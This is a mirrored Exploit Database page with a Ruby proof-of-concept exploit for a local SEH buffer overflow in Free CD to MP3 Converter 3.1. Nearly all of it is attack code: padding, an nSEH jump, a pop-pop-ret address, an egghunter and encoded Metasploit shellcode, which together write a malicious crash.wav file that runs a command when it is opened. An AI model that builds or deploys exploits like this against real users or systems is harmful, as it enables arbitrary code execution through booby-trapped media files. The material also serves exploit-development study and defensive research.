Free CD to MP3 Converter 3.1 – Local Buffer Overflow (SEH)

• Exploit Database
• 9 阅读

• 作者： C4SS!0 G0M3S
  日期： 2010-11-10
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15483/

• # Exploit Title: Free CD to MP3 Converter 3.1 Buffer Overflow Exploit (SEH)
  # Date: 10/18/10
  # Credit/Bug found by: C4SS!0 G0M3S
  # Software Link: http://www.eusing.com/Download/cdtomp3freeware.exe
  # Version: 3.1
  # Tested on: Windows XP SP3 EN (VMWARE FUSION - Version 3.1.1)
  # CVE: N/A
   
  #! /usr/bin/env ruby
  filename = 'crash.wav'
  
  # windows/exec - 144 bytes
  # http://www.metasploit.com
  # Encoder: x86/shikata_ga_nai
  # EXITFUNC=seh, CMD=calc
  shellcode = ''
  shellcode <<"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
  shellcode << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
  shellcode << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
  shellcode << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
  shellcode << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
  shellcode << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
  shellcode << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
  shellcode << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
  shellcode << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
  shellcode << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
  shellcode << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
  shellcode << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
  shellcode << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
  shellcode << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
  shellcode << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
  shellcode << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"
  
  egghunter = ''
  egghunter << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
  egghunter << "\x77\x30\x30\x74"
  egghunter << "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  
  junk1	= 'A' * 4156
  nseh	= [0x06eb9090].pack('V') # jmp short 6 byte
  seh		= [0x00409F8C].pack('V') # cdextract.exe
  nops	= "\x90" * 50
  junk2	= 'B' * (10000 - (junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + shellcode).length)
  
  # [junk1 'A'][nseh - short jmp)][seh -pop pop ret][nops][egghunter][nops]['w00tw00t'][shellcode][junk2 'B']
  #(2)| ^___________________|(1)^(3)--> (4) (5)Tag found!--> (6) 
  # |_________________________________|
  
  xploit	= junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + shellcode + junk2
  
  File.open(filename,'w') do |fd|
  	fd.write xploit
  	puts "xploit file size : #{xploit.length.to_s}"
  end